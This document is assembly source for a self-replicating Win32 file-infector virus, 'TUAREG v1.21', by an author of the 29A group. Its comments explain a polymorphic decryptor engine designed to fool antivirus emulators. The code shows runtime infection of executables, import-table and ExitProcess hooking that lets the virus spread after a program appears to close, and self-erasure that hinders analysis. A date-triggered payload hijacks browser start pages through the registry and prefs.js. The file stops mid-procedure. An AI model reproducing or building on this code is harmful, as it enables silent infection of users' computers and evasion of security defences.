;; - To perform the Branching, the entire engine has been oriented to execute
;; in nearly absolute recursivity, simplifying alot many actions, and taking
;; advance of this to create very structured portions of code that could be
;; on any program. Not in vane, the size of the decryptors overpasses 8 Kb of
;; pure code in the majority of times.
;;
;; - The phylosophy of this engine is completely different from the
;; MeDriPolEn. Since I based that one on simulate a corrupted file, this time
;; I simulate a normal application. Every branch has this "format":
;;
;; ------*-------*-------*--------xxxxxxxxxxxxx--<>------() -----|----|---|
;; Legend:
;; -- : Garbage
;; * : Random conditional jump to another branch
;; x : Decryption code (mixed with garbage)
;; <> : Check of end-of-decryption. If it isn't, it performs a random jump
;; to any * on any branch
;; () : Code to jump to the decrypted part, and the code of this branch ends.
;; ----| : Subroutines that are created while coding this branch. The addres-
;; ses of that subroutines are stored into an array which allows to
;; other branches to do calls to that subroutines apart from their own
;; ones.
;; This type of code is repeated several times and it's randomized alot.
;;
;; - The garbage is quite complex to give up the less advanced emulators. The
;; generator can do CALLs with stack entries and stack frames (emulation of
;; this), nested CALLs, conditional jumps with non-zero displacement, memory
;; read/writes (performed to .bss when this section exists in the infected
;; file), 8 and 32 bit common types (some 16 bit ones are avoided on purpo-
;; se, due to some emulators that take them as suspicious on a Win32 app.),
;; random short loops between code, relative jump to the decrypted code (re-
;; quires execution/emulation for a correct running of it), calls to impor-
;; ted KERNEL32 functions (it was hard to make it!), etc. etc. etc., and I
;; don't use any one-byte usual garbage on poly engines (those CLCs, CMCs,
;; STIs, etc. are highly suspicious for an emulator, so I didn't put anyone
;; of them, except on the little second decryptor, which is under the main
;; encryption layer).
;;
;; - Before entering to the TUAREG engine, the virus scans the victim's body
;; to determine the future virtual address of the import table and the vir-
;; tual addresses of the import table fields, and it fills the fields in the
;; APIInfo blocks to know which address it has to use to make a calling to
;; that KERNEL32 function. Once made, the virus will call any of the "con-
;; trolled" APIs that were also in the import table. I think it's the first
;; virus (November 2000) that makes API callings in the decryptor :). The
;; called APIs are ordered in frequency of apparition in an application, and
;; with a little algorithm we make the first ones to be selected more often
;; than the next ones (in descendent order).
;;
;; - Some other internal features that "beautifies" the code.
;;
;; More about the virus itself
;;-------------------------------
;; - Since it's a v1.21, it was code over the version 1.0 (of course), so if
;; some code isn't commented is because I was lazy to do it :), and many
;; things are changed from v1.0 (bugs corrected, some things improved, etc.)
;;
;; - The KERNEL32 address is found using the address pushed onto the stack
;; from the beginning. It's easy, it doesn't generate errors (since most
;; Microsoft C compiled programs use the fact that that address exists),
;; and it's compatible with all versions of Win32 (I think). Anyway, the
;; virus uses SEH. If any exception occurs while any operation, the virus
;; will restore the old SEH and execute the host.
;;
;; - After finding the RVAs of the API functions, it performs a runtime in-
;; fection.
;;
;; - After that, the virus patches the import table of the file and set its
;; per-process part.
;;
;; - If the API functions couldn't be obtained, the virus will exit. Other-
;; wise, if WriteProcessMemory nor GetCurrentProcess RVAs aren't obtained,
;; it will simulate an error of execution, since it can't restore the host.
;;
;; - Before returning to the host, it'll try to patch all the ocurrences of
;; ExitProcess in the host and make them to point to the routine prepared
;; on this virus to hold it (that's what I call "Pseudo-EPO" :). When the
;; application calls to ExitProcess, the virus takes control, and since the
;; program is "under the user's view" terminated, we can perform intensive
;; virus activity, as a background action. What we do here is to infect all
;; programs, not only one of each four, with runtime infection, and then we
;; overwrite all the virus code with zeroes to avoid AVers to have a clean
;; copy of the virus in memory when executing on a simulated environment and
;; waiting for the end of running.
;;
;; - In this version, the virus is very stable, and an average user won't
;; notice the presence of the virus by errors in the system, since even the
;; TUAREG (the most complex code I ever make) hasn't any errors now (from
;; what I know), nor the infection system.
;;
;; Payload
;;-----------
;; On the first and third friday of every month, the start pages on the two
;; most used navigators (Internet Explorer and Netscape Communicator) will be
;; set to http://www.thehungersite.com, which it's a web that donates food to
;; hungry countries bought with the money that they earn when you visit the
;; banners. The virus sets this using the ADVAPI32.DLL registry functions.
;;
;; With this, I could say that maybe it's the first payload in the viruses'
;; history that performs something useful and maybe changes some minds about
;; the state of our world. Hey, and you can do it too! Enter in that URL
;; (http://www.thehungersite.com) and press "Donate food". It's easy, free and
;; can save lives!
;;
;; About this, I saw some time ago in alt.comp.virus (Usenet) a discussion
;; about this virus. A guy asked if this virus can be called a good virus or
;; what (due to the payload), and it generates a good discussion about the
;; ethicals of virus writing to make this type of things. Well, I did it be-
;; cause I wanted to make a payload that make something more than fuck the
;; user. And it's far from my intention to difamate the URL I redirect naviga-
;; tors to, but it's the most famous and most trustable donation service that
;; I saw over the internet, and moreover this page has links to other free do-
;; nation services. I don't care about that ones that think its start page is
;; "holy" and nobody must touch it (the ones that think that their own home
;; comfort is above anyone's life - get a life!), but I care about the ones
;; that think the action is good but the way is bad (a virus). My apologizes,
;; but you have to think that a virus is a piece of code, not a fragment of
;; The Apocalypse :).
;;
;; My thanks to:
;;---------------
;;
;; The whole 29A - members and ex-members, because it's the Dream Team of
;; the vx!
;; All ppl who innove and create in this scene, and don't destruct the work
;; of anyone (I HATE destructive payloads! :)
;; To you, for reading this

;; To assemble this:
;; TASM32 /m29A /ml tuareg.asm
;; TLINK32 -aa -Tpe -x tuareg.obj,,,import32.lib
;; PEWRSEC tuareg.exe

.386p
.model flat
locals
.data
;; Message on first generation
Titulo db 'Virus TUAREG v1.21 1st Generation by The Mental Driller/29A',0
Mensaje db 'You have been infected with the first generation',0dh,0ah
db 'of the virus TUAREG by The Mental Driller/29A',0
.code
extrn ExitProcess:PROC ; For the fake host
extrn MessageBoxA:PROC

Virus_Size equ offset End_Virus - offset Inic_Virus


Virus_SizePOW2 equ 10000h ; I don't think it overpasses 65536 bytes.
; Since this size is virtual, I don't care
; very much about this one.
Host_Data_Size equ 4000h ; This one is the one to worry about! :)
; It's physical!

TuaregMain proc
Inic_Virus label dword

;; This decryptor will be generated later. It's a full polymorphic one, al-
;; though very simple, to avoid cryptanalisys. The structure is as follows:
;;
;; MOV Reg,InicDecryptVirus
;; MOV Reg2,Virus_Size / 4
;; MOV Reg3,CryptKey
;; Loop:
;; XOR/ADD/SUB [Reg],Reg3
;; ADD Reg,4
;; ADD/SUB/XOR/ROL1 Reg3,Modifier
;; DEC Reg2
;; JNZ Loop
;;
;; The MOVs can be MOVs, LEAs or pairs PUSH/POP, and it can use DEC or SUB,1
;; or ADD,-1 , randomly selected. Well, quite better than v1.0 (which was a
;; fixed decryptor where I changed values).
db 3Ch dup (90h)
InicDecryptVirus:
cld ; Restore possible STD
push eax
call GetDeltaOffset
GetDeltaOffset: pop ebp
sub ebp, offset GetDeltaOffset
mov [ebp+DeltaOffset2], ebp ; This is needed!
mov [ebp+DeltaOffset3], ebp
mov [ebp+DeltaOffset4], ebp
mov [ebp+DeltaOffset5], ebp
db 0Fh, 31h ; rdtsc ; Get CPU timestamp
mov [ebp+DwordAleatorio1], eax ; Set EAX (low timestamp)
; on random seed
;; Put the return address
mov eax, [ebp+InicIP]
mov [esp], eax
mov eax, [ebp+RestoreAddress]
mov [ebp+RestoreAddress2], eax
mov eax, [ebp+SizeOfText]
mov [ebp+SizeOfText2], eax
mov eax, [ebp+ImageBase]
mov [ebp+ImageBase2], eax

;; Set this counter to 0. Later we check if this counter has


;; increased to the correct number of functions.
mov byte ptr [ebp+CounterOfFunctions], 0
;; Get the stack returning value for "CreateProcess". This value
;; allows Win32 apps to finish with RET (many Micro$oft programs
;; use this fact)
mov eax, [esp+4]
and eax, 0FFFFF000h
mov dword ptr [ebp+Addr_Kernel32], eax ; Store it for adj.
mov dword ptr [ebp+AuxCounter], 100h ; Times to search

;; SEH frame
lea eax, [ebp+@@JumpToHost]
push eax
push dword ptr fs:[0]
mov fs:[0], esp
mov [ebp+LastStack], esp ; For SEH returning

@@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h ; Subtract


mov eax, [ebp+Addr_Kernel32]
cmp word ptr [eax], 'ZM' ; EXE header?
jz @@MaybeKernelFound ; If so, jump
dec dword ptr [ebp+AuxCounter] ; Decrease counter
jnz @@Loop_001 ; If it isn't 0, loop
push ds
pop ax
cmp ax, 0137h ; If actual selector is less, we're in NT
jb @@GenerateException ; No hard-coded address for WinNT
mov eax, 0BFF70000h ; Hard-coded under Win9x
jmp @@KernelFound2 ; Jump

;; This code, in fact, will jump to the host execution, since it's set as our
;; SEH manager. So, a jump here will execute host. Quite anti-debugger :)
@@GenerateException:
xor ebx, ebx
dec ebx
mov [ebx], cl

@@MaybeKernelFound:
mov ebx, [eax+3Ch] ; Get PE address
add ebx, eax
cmp word ptr [ebx], 'EP' ; Is it a PE header?
jnz @@Loop_001 ; If not, continue searching

;; Now we are here when we found the address of Kernel32


@@KernelFound2: mov dword ptr [ebp+RVA_GetCurrentProcess], 0 ; We must set
mov dword ptr [ebp+RVA_WriteProcessMemory], 0 ; this to 0
mov dword ptr [ebp+ExitProcessInImport], 0
mov esi, [ebx+78h]
add esi, eax ; ESI=Export directory

mov ecx, [esi+18h] ; ECX=Number of names in the array


mov edx, [esi+20h]
add edx, eax ; EDX=RVA to the names array
@@LoopCRC_APIs:
call GetCRCOfAPI ; Get checksum of the name under EDX
xor ebx, ebx ; EBX=0
@@LoopCheck:
cmp dword ptr [ebp+ebx+CRC_APIs], eax ; Coincidence?
jz @@FunctionFound ; If it coincides, we have found one
add ebx, 4 ; Next
cmp dword ptr [ebp+ebx+CRC_APIs], 0 ; Have we finished?
jnz @@LoopCheck ; If not, compare next stored checksum
@@LoopCRC_APIs2: ; Here if no one coincides
add edx, 4 ; Next RVA to function name
dec ecx ;Arrgh! We are coding virus, so I had to
jnz @@LoopCRC_APIs ;use LOOP! :) (this is speed optimization
; but not size opt.!) bah, it doesn't
; matter...
jmp @@Continue_001
@@FunctionFound:
mov eax, [esi+18h] ; Get its order in the array of names
sub eax, ecx
shl eax, 1 ; Convert it to word index
add eax, [esi+24h] ; Get the position into the ordinal
; array
add eax, [ebp+Addr_Kernel32] ; Add the base address
movzx eax, word ptr [eax] ; Get the order into the function
shl eax, 2 ; array
add eax, [esi+1Ch]
add eax, [ebp+Addr_Kernel32]
mov eax, [eax] ; Get the RVA of the function
add eax, [ebp+Addr_Kernel32]
mov dword ptr [ebp+ebx+FunctionsToPatch], eax ; Save it
inc byte ptr [ebp+CounterOfFunctions] ; Increase this
jmp @@LoopCRC_APIs2 ; Check more
@@Continue_001:
;; [CounterOfFunctions] must be NumberOfFunctions. If not, something
;; failed (too much or too few functions for the correct work of the
;; virus) and we must exit.
cmp byte ptr [ebp+CounterOfFunctions], NumberOfFunctions
jnz @@GenerateException

mov byte ptr [ebp+InfectAllFiles], 0


call RuntimeInfection ; The name explains it ;)
call Payload ; I don't remember for what is this... :P
call PatchImportDirectory
;; I changed the order of calling to this subfunctions, since an exception
;; executes directly the host. If an exception occurs when patching the
;; import directory, then the run-time infection woudln't run, so I have
;; put the functions in the correct order to grant a wider expansion.

jmp @@GenerateException ; Finish runtime activity (the per-


; process part remains "resident")
; This jump is anulated since there isn't any need of it. Instead of
; that, we use a fault, since SEH is active and will go directly to
; @@JumpToHost :)

;; SEH handler. This is the SEH that we put. If any exception happens, this
;; will take control and it'll restore and execute directly the host.
@@JumpToHost: db 0BDh
DeltaOffset3 dd 0 ; This is MOV EBP,DeltaOffset
mov esp, [ebp+LastStack] ; Recover ESP
pop dword ptr fs:[0] ; Restore SEH
pop eax ; Release our handle from stack
; This has been changed since the binary release. I noticed it had
; a bug, so I corrected it. The binary that the AVers have differs
; a little from this.

cmp dword ptr [ebp+RVA_GetCurrentProcess], 0 ; RVAs got?


jz @@SimulateExecError ; If not, we can't restore
cmp dword ptr [ebp+RVA_WriteProcessMemory], 0 ; the host
jz @@SimulateExecError
call dword ptr [ebp+RVA_GetCurrentProcess]
push 0
push Host_Data_Size
lea ebx, [ebp+End_Virus]
push ebx
push dword ptr [ebp+RestoreAddress2]
; Restore the overwritten part of .text with
push eax ; the original code, saved at the end of the
call dword ptr [ebp+RVA_WriteProcessMemory] ; virus
call ModifyExitProcess ; Modify the exit process callings
; in .text to point to our zeroing
; routine
ret ; Jump to host

@@SimulateExecError:
push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0
push 0005C690h ; in the stack frame to generate an excep-
jmp esp ; tion from an "unknown module" :)
; module" :)
TuaregMain endp

InicIP dd offset FakedHost ; This variables are set now to si-


RestoreAddress dd offset FakedHost ; mulate an infected program.
RestoreAddress2 dd 0
CounterOfFunctions db 0

AuxCounter dd 0
LastStack dd 0
InfectAllFiles db 0

;; This function generates a checksum of the function name pointed by [EDX]


;; in the export directory in KERNEL32. I've tried to do a quite variable
;; formula from one name to other, without using huge tables like the standard
;; CRC32.
GetCRCOfAPI proc
xor eax, eax
push edx
push ecx
mov edx, [edx]
add edx, [ebp+Addr_Kernel32]
GetCRCOfAPI2: mov edi, edx ; Load RVA to API name in EDI
@@LoopAPI: cmp byte ptr [edx], 0 ;If we reached the end of the name,
jz @@Return ; exit
mov cl, [edx] ; Get a number between 0 and 3 related to
and cl, 3 ; the current character in the name.
rol eax, cl ; ROL the current value in EAX.
xor al, [edx] ; XOR AL with the character in [EDX]
inc edx ; Next char
jmp @@LoopAPI ; Loop
@@Return: pop ecx ; When we arrive here, we have the checksum
pop edx ; of the API name.
ret ; Return
GetCRCOfAPI endp

;; Now the ident message. Never showed, but it'll help the AVers to name this
;; virus ;)
Ident_Virus db 0,0,'[Virus TUAREG v1.21 by The Mental Driller/29A]',0
db '- This virus has been designed for carrying '
db 'the TUAREG engine -',0,0

;; This functions scans for any ocurrence of ExitProcess in the .text section
;; and substitutes the address in the call for an address here. Once here, we
;; move a little program to the stack frame and then we jump there. That pro-
;; gram will overwrite the virus code with zeroes. This feature can fuck some
;; AVers programs that get a decrypted copy of the virus executing the infec-
;; ted program and waiting for finish.
ModifyExitProcess proc
cmp dword ptr [ebp+ExitProcessInImport], 0
jz @@Return ; If ExitProcess doesn't exist in the
; import directory, finish
lea ebx, [ebp+AddressToLastFunc] ;Get the address to over-
lea eax, [ebp+LastFunction] ; write ExitProcess callings
mov [ebx], eax ; with, pointing to our routi-
; ne
mov [ebp+AddressToAddressToLastFunc], ebx
mov esi, [ebp+RestoreAddress2] ; beginning of .text
mov ecx, [ebp+SizeOfText2] ; Quantity of code to scan
sub ecx, 6 ; Last 5 bytes can't contain a call, and maybe
; we generate an exception if we overpass .text
; size
@@Loop_001: lea edi, [ebp+CallToSearch] ; Address to constructed call
mov edx, 6 ; Size of call
@@Loop_002: cmpsb ; Test byte
jnz @@NextByte ; If it isn't equal, jump
@@Loop_003: dec edx ; Decrease call-size counter
jz @@Found ; If 0, we've found a call to ExitProcess
cmp edx, 5 ; Call-size counter=5?
jnz @@Next_001 ; If not, check normally
dec ecx ; Decrease .text-size counter
jz @@Return ; If it's 0, return
inc esi ; Increase checking indexes
inc edi ; ...And now check two possible opcodes:
cmp byte ptr [esi-1], 15h ; CALL [Address]
jz @@Loop_003 ; If it is, continue checking
cmp byte ptr [esi-1], 25h ; JMP [Address]
jnz @@NextByte ; If it isn't, "restart" call string
jmp @@Loop_003 ; Check next byte (now normally)
@@Next_001: dec ecx ; End of .text?
jnz @@Loop_002 ; If not, continue checking that call
jmp @@Return ; If yes, end
@@NextByte: dec ecx ; End of .text?
jnz @@Loop_001 ; If not, continue checking for calls
jmp @@Return ; If yes, end
@@Found: dec ecx ; Decrease ecx (don't decreased before)
pushad ; Save regs
push 0
push 4 ; Write 4 bytes (overwrite address reference)
lea ebx, [ebp+AddressToAddressToLastFunc]
push ebx ; Thing to write (the dword in this variable)
lea ebx, [esi-4]
push ebx ; Place to overwrite (the address in the found
; call)
call dword ptr [ebp+RVA_GetCurrentProcess]
push eax ; Write on the current process
call dword ptr [ebp+RVA_WriteProcessMemory] ; Overwrite!
popad ; Restore registers values
jmp @@Loop_001 ; Continue looking for calls to ExitProcess
@@Return: ret ; Return
ModifyExitProcess endp

CallToSearch db 0FFh, 15h ; Here we construct a call to ExitProcess


ExitProcessInImport dd 0 ; for searching it over .text

SizeOfText dd 100h ; This is the value on first generation, but


; it's set with the real value on infection
SizeOfText2 dd 0 ; Variable to save this value and don't overwrite
; it when infecting
AddressToLastFunc dd 0 ; Some vars to overwrite the call to ExitProcess
AddressToAddressToLastFunc dd 0

;; This function is the one that we make ExitProcess to point to. Well, we
;; make that the calls to ExitProcess point here, so they aren't calls to
;; ExitProcess anymore, but here... bah, more or less :). The fact is that if
;; we patched correctly the calls to ExitProcess, this function will be called
;; when you close the application (alt-F4, or Close in its menu, etc. etc.),
;; and here we can make lots of things without being noticed by the user as
;; easily as if we make it at the beginning, because s/he closed the applica-
;; tion and the desktop was restored, seeming a complete exiting, but this
;; virus is still alive! When we arrive here, we infect ALL files, since we
;; haven't to do the things quickly (and you can think: then, why don't you
;; wait for this function to do all and make things more unnoticeable? Because
;; if ExitProcess patching fails, at least the virus has been spreaded a
;; bit ;). Before the massive infection, we complete a little overwriting rou-
;; tine and we copy it to the stack frame. After infection, we jump there, and
;; that routine will overwrite all the virus body with 0s to avoid getting a
;; clean copy of the virus when the application ends (AVers use that technique
;; quite a lot). If I made the virus without per-process residency, I could
;; make it before jumping to the restored host, but well...
LastFunction proc
pop eax
lea edi, [esp-1800h] ; Copy the routine to the stack (qui-
; te far up, to avoid overwriting)
db 0BDh ; MOV EBP,xxx
DeltaOffset4 dd 0 ; EBP=DeltaOffset
mov [ebp+ExitCode], eax
mov esp, [ebp+LastStack] ; Get the saved stack address
add esp, 0Ch ; Eliminate some things of B4
mov eax, [ebp+RVA_ExitProcess] ; Get the address to there
mov [ebp+ExitProcessAddr], eax ; Complete the instruction
mov [ebp+SetValueToEDI], edi ; Set the jumping value
lea esi, [ebp+ZeroingFunction] ; ESI=Address to function
lea eax, [ebp+Inic_Virus] ; EAX=Beginning of the virus
mov [ebp+InicAddressFor0], eax ; Complete instruction
mov ecx, offset ZeroingFunctionEnd-offset ZeroingFunction
cld ; ECX=Size of zeroing routine
rep movsb ; Copy routine
mov byte ptr [ebp+InfectAllFiles], 1 ; Now infect all fi-
; les on current, windows and system
; directories, instead of one of each four

;; SEH frame
lea eax, [ebp+@@JumpToFinish]
push eax
push dword ptr fs:[0]
mov fs:[0], esp
mov [ebp+LastStack], esp ; For SEH returning

call RuntimeInfection
@@JumpToFinish:
@@JumpToHost: db 0BDh
DeltaOffset5 dd 0 ; This is MOV EBP,DeltaOffset
mov esp, [ebp+LastStack] ; Recover ESP
pop dword ptr fs:[0] ; Restore SEH
pop eax ; Release our handle from stack
push dword ptr [ebp+ExitCode]
db 0BFh
SetValueToEDI dd 0 ; Get the address to jump to overwrite this code
jmp edi ; Jump there
LastFunction endp

ExitCode dd 0

;; This function, after being completed, is the one that we copy to the stack
;; frame to jump and overwrite the code of this virus. After overwriting it,
;; we call to ExitProcess and finish the activity
ZeroingFunction proc
mov edi, 12345678h ; EDI=Beginning address of virus
org $-4
InicAddressFor0 dd 0
xor eax, eax ; EAX=6726D43Ah :P
mov ecx, Virus_SizePOW2 / 4 ; ECX=Virtual size in dwords
rep stosd ; Overwrite!
mov eax, 12345678h ; Before, we put here the address to
org $-4 ; ExitProcess
ExitProcessAddr dd 0
; push 0 ; Push ExitProcess return value
; It's set from before!
call eax ; Return
ZeroingFunction endp
ZeroingFunctionEnd label dword
; NOTE: When I was commenting this code (now, for me :), I realized that an
; infected application always will return 0 as errorlevel when ExitProcess,
; because I push a 0 before calling ExitProcess. The correct way of doing this
; would be get the value from stack and push it now, since it comes from a
; call to ExitProcess that we patched. I realized of this "bug" after sending
; the final version to AVers, so I didn't correct it on this source. Now it's
; corrected.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PAYLOAD ;;
;; ;;
;; On the first and third Friday of the month, the start pages of Netscape ;;
;; and Internet Explorer are changed to "http://www.thehungersite.com". ;;
;; The first really useful payload in the viruscene history! (Well, I dunno ;;
;; if it is the first, but I like to think it :) ;;
;; ;;
;; It's not as easy as it could seem! ;;
;; Internet Explorer --> We modify the registry entry where the start page ;;
;; is especified ;;
;; Netscape --> We get the directories of all the users via the registry ;;
;; and add a line to the file PREFS.JS setting a new start ;;
;; page ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

KEY_ALL_ACCESS equ 000F003Fh ; Values for the registry functions


HKEY_CLASSES_ROOT equ 80000000h
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_USERS equ 80000003h

Payload proc
lea eax, [ebp+SystemTime]
push eax
call dword ptr [ebp+RVA_GetSystemTime] ; Get date and time
cmp word ptr [ebp+DayOfWeek], 5 ; Friday?
jnz @@EndOfPayload ; If not, end
cmp word ptr [ebp+Day], 7 ; First week of the month?
jbe @@DoPayload ; If not, end
cmp word ptr [ebp+Day], 14 ; Second week discarded
jbe @@EndOfPayload
cmp word ptr [ebp+Day], 21 ; Third week of the month?
ja @@EndOfPayload ; If not, end
@@DoPayload:
; We load ADVAPI32.DLL. It's normally loaded, but in this way we'll get
; the module handle, and just in case if it's not loaded.

call LoadRegistryFunctions
or eax, eax
jz @@EndOfPayload

call ModifyInternetExplorer ; Self-explanatory names ;)


call ModifyNetscapeNavigator
push dword ptr [ebp+HandleADVAPI32]
call dword ptr [ebp+RVA_FreeLibrary]
@@EndOfPayload:
ret
Payload endp

;;; Registry functions


RegistryDLL db 'advapi32.dll',0
ASC_RegistryFunctions label dword
ASC_RegOpenKeyExA db 'RegOpenKeyExA',0
ASC_RegCloseKey db 'RegCloseKey',0
ASC_RegSetValueExA db 'RegSetValueExA',0
ASC_RegEnumKeyA db 'RegEnumKeyA',0
ASC_RegQueryValueExA db 'RegQueryValueExA',0
ASC_RegEnumValueA db 'RegEnumValueA',0
db 0

HandleADVAPI32 dd 0
org HandleADVAPI32
HandleOpenedKey dd 0
RVA_RegistryFunctions label dword
RVA_RegOpenKeyExA dd 0
RVA_RegCloseKey dd 0
RVA_RegSetValueExA dd 0
RVA_RegEnumKeyA dd 0
RVA_RegQueryValueExA dd 0
RVA_RegEnumValueA dd 0

;; This function modifies the start page of Internet Explorer. The easiest
;; one, not as much as complicated to get as the Netscape one.
ModifyInternetExplorer proc
lea eax, [ebp+HandleOpenedKey]
push eax
push KEY_ALL_ACCESS
push 0
lea eax, [ebp+IExplorerKey]
push eax
push HKEY_CURRENT_USER
call dword ptr [ebp+RVA_RegOpenKeyExA]
; This just opened:
; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
or eax, eax ; Error?
jnz @@End ; End if error

push LongNombrePagina ; Store the size of the new value


lea eax, [ebp+Pagina] ; Store the address
push eax
push 1 ; Some necessary values
push 0
lea eax, [ebp+IExplorerValue] ; Store the address of the
push eax ; value
push dword ptr [ebp+HandleOpenedKey] ; Now the handle...
call dword ptr [ebp+RVA_RegSetValueExA] ; ...and change it
; If error, we close. If not, we close :)

push dword ptr [ebp+HandleOpenedKey]


call dword ptr [ebp+RVA_RegCloseKey] ; Close key handle
@@End: ret
ModifyInternetExplorer endp

;; This is the page to set


Pagina db 'http://www.thehungersite.com',0
LongNombrePagina equ $ - offset Pagina

;; This is the path into the registry to set the page to. I don't think this
;; key will change in the future, since many programs use it to set its own
;; start page.
IExplorerKey db 'Software\Microsoft\Internet Explorer\Main',0
IExplorerValue db 'Start Page',0

;; The difficult one. Well, it's not difficult when you see it made, but it's
;; complicated to get. Since there isn't any registry key to set the start
;; page, I had to search the autoconfig (PREFS.JS) and invent a manner of
;; modifying it without many problems. I tried to map that file and move the
;; whole text after the java function that sets the start page, to make a hole
;; big enough to set the function (if the old start page were bigger, you can
;; fill with spaces), but that was a pain in the ass. Then, after a good men-
;; tal exercise :), I tried the trick I use now. Since the file is a java file
;; setting values, if you add a line at the end setting a new value, you over-
;; write the last value. It's like doing MOV AX,1234 and later MOV AX,2345 (or
;; the C equivalent).
ModifyNetscapeNavigator proc
; This variable is used for RegEnumKeyA
mov dword ptr [ebp+SubkeyIndex], 0
@@LoopOpeningSubkeys:
mov byte ptr [ebp+NetscapeKeyEnd-1], 0 ; Put this to 0
lea eax, [ebp+HandleOpenedKey]
push eax
push KEY_ALL_ACCESS
push 0
lea eax, [ebp+NetscapeKey]
push eax
push HKEY_LOCAL_MACHINE
call dword ptr [ebp+RVA_RegOpenKeyExA]
; Here, we opened the key:
; HKEY_LOCAL_MACHINE\Software\Netscape\Netscape Navigator\Users'

or eax, eax ; Error?


jnz @@End ; Exit, then

; We get the subkeys in the recently opened key. That are the users
; registered on the Netscape Navigator. It's like making FindFirstFile
; and FindNextFile in a directory, but easier, since we use an index
; to get the relative key.
push 80h
lea eax, [ebp+ReceivingBuffer]
push eax
push dword ptr [ebp+SubkeyIndex]
push dword ptr [ebp+HandleOpenedKey]
call dword ptr [ebp+RVA_RegEnumKeyA]
or eax, eax ; Error getting subkey?
jnz @@EndOfKeys ; If error, exit

mov byte ptr [ebp+NetscapeKeyEnd-1], '\' ; Put this there


push dword ptr [ebp+HandleOpenedKey]
call dword ptr [ebp+RVA_RegCloseKey] ; Close key (I know
; that maybe is a foolness, but
; I did it by a reason. I don't
; remember it, but there is a
; reason :).
lea eax, [ebp+HandleOpenedKey]
push eax
push KEY_ALL_ACCESS
push 0
lea eax, [ebp+NetscapeKey]
push eax
push HKEY_LOCAL_MACHINE
call dword ptr [ebp+RVA_RegOpenKeyExA] ; Open the retrieved
or eax, eax ; subkey
jnz @@End

mov dword ptr [ebp+LongBuffer], 80h


lea eax, [ebp+LongBuffer]
push eax
lea eax, [ebp+ReceivingBuffer]
push eax
push 0
push 0
lea eax, [ebp+NetscapeValue]
push eax
push dword ptr [ebp+HandleOpenedKey]
call dword ptr [ebp+RVA_RegQueryValueExA]
; Now we get the value of "DirRoot", where the directory of this user
; is specified.
or eax, eax ; Error?
jnz @@EndOfKeys ; Exit, then

call ModifyPrefs ; Add the "magic" line to PREFS.JS

push dword ptr [ebp+HandleOpenedKey]


call dword ptr [ebp+RVA_RegCloseKey] ; Close the key
inc dword ptr [ebp+SubkeyIndex] ; Increase number for
; enumerating function
jmp @@LoopOpeningSubkeys ; Loop

@@EndOfKeys: push dword ptr [ebp+HandleOpenedKey]


call dword ptr [ebp+RVA_RegCloseKey] ; Close Netscape key
@@End: ret ; Return
ModifyNetscapeNavigator endp

SubkeyIndex dd 0
LongBuffer dd 0
LongBuffer2 dd 0

LineToAddToPrefs db 'user_pref("browser.startup.homepage",
"http://www.thehungersite.com");',0dh,0ah
SizeLineToAdd equ $ - offset LineToAddToPrefs

NetscapePrefsFile db '\prefs.js',0
SizeNamePrefs equ $ - offset NetscapePrefsFile

NetscapeKey db 'Software\Netscape\Netscape Navigator\Users\'


NetscapeKeyEnd label byte
ReceivingBuffer db 80h dup (0)
NetscapeValue db 'DirRoot',0

;; This function adds the line


;; user_pref("browser.startup.homepage", "http://www.thehungersite.com");
;; to PREFS.JS. In this way, the next time Netscape Navigator is runned, the
;; start page will be set to http://www.thehungersite.com
ModifyPrefs proc
mov ecx, dword ptr [ebp+LongBuffer]
lea edi, [ebp+ReceivingBuffer]
dec ecx
add edi, ecx
lea esi, [ebp+NetscapePrefsFile]
mov ecx, SizeNamePrefs
cld
rep movsb ; Create a full path to PREFS.JS

push 0
push 0
push 3
push 0
push 0
push 0c0000000h
lea eax, [ebp+ReceivingBuffer]
push eax
call dword ptr [ebp+RVA_CreateFileA] ; Open PREFS.JS
inc eax
jz @@End ; If error, exit
dec eax
mov [ebp+FileHandle], eax
push 2 ;Relative pointer position (same as INT 21h/AH=42h!)
push 0
push 0
push eax
call dword ptr [ebp+RVA_SetFilePointer] ; Put the file
; pointer at the end
inc eax
jz @@Close ; If error, exit
dec eax
push 0
lea eax, [ebp+LongBuffer]
push eax
push SizeLineToAdd
lea eax, [ebp+LineToAddToPrefs]
push eax
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_WriteFile] ; Write the line at the
; end of the file
@@Close: push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_CloseHandle] ; Close file hangle
@@End: ret ; Return
ModifyPrefs endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; PER-PROCESS RESIDENCY: SETTING AND INFECTION
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

ImageBase dd 400000h

PatchImportDirectory proc
db 0B8h ; MOV EAX,xxxxxxxx
ImageBase2 dd 400000h ; Image base, set on infection time
mov ebx, [eax+3Ch]
add ebx, eax
cmp word ptr [ebx], 'EP' ; Check if PE header
jnz @@End ; If not, end
mov ecx, [ebx+84h] ; ECX=Size of import data
mov ebx, [ebx+80h]
add ebx, eax ; EBX=RVA of import directory header
@@SearchModule: mov esi, [ebx+0Ch]
or esi, esi
jz @@End
add esi, eax ; ESI=RVA to the module name
@@ToLowerCase: mov edx, [esi] ; Get the first four characters
call ToLower
cmp edx, 'nrek' ; Is it 'kern'?
jnz @@NextModule ; If not, it's not kernel32
mov edx, [esi+4] ; Get next 4 chars
call ToLower
cmp edx, '23le' ; 'el32'?
jz @@Found ; If it is, we've found KERNEL32
@@NextModule: add ebx, 14h ; Next module in import directory
sub ecx, 14h ; Have we finished?
jnz @@SearchModule ; If not, scan next module
jmp @@End ; Finish if we arrived to the end

@@Found: mov esi, [ebx+10h] ; Get the RVA to the array of imported
add esi, eax ; functions in ESI
cld

lea ebx, [ebp+FunctionsToPatch]


@@Loop_001: mov edi, ebx
